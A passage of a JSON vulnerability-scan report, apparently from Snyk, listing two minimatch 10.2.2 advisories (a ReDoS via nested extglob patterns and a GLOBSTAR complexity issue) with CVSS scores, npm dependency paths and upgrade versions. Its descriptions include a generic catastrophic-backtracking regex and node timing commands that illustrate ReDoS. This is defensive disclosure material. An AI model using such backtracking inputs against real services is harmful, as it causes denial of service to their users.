"modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub 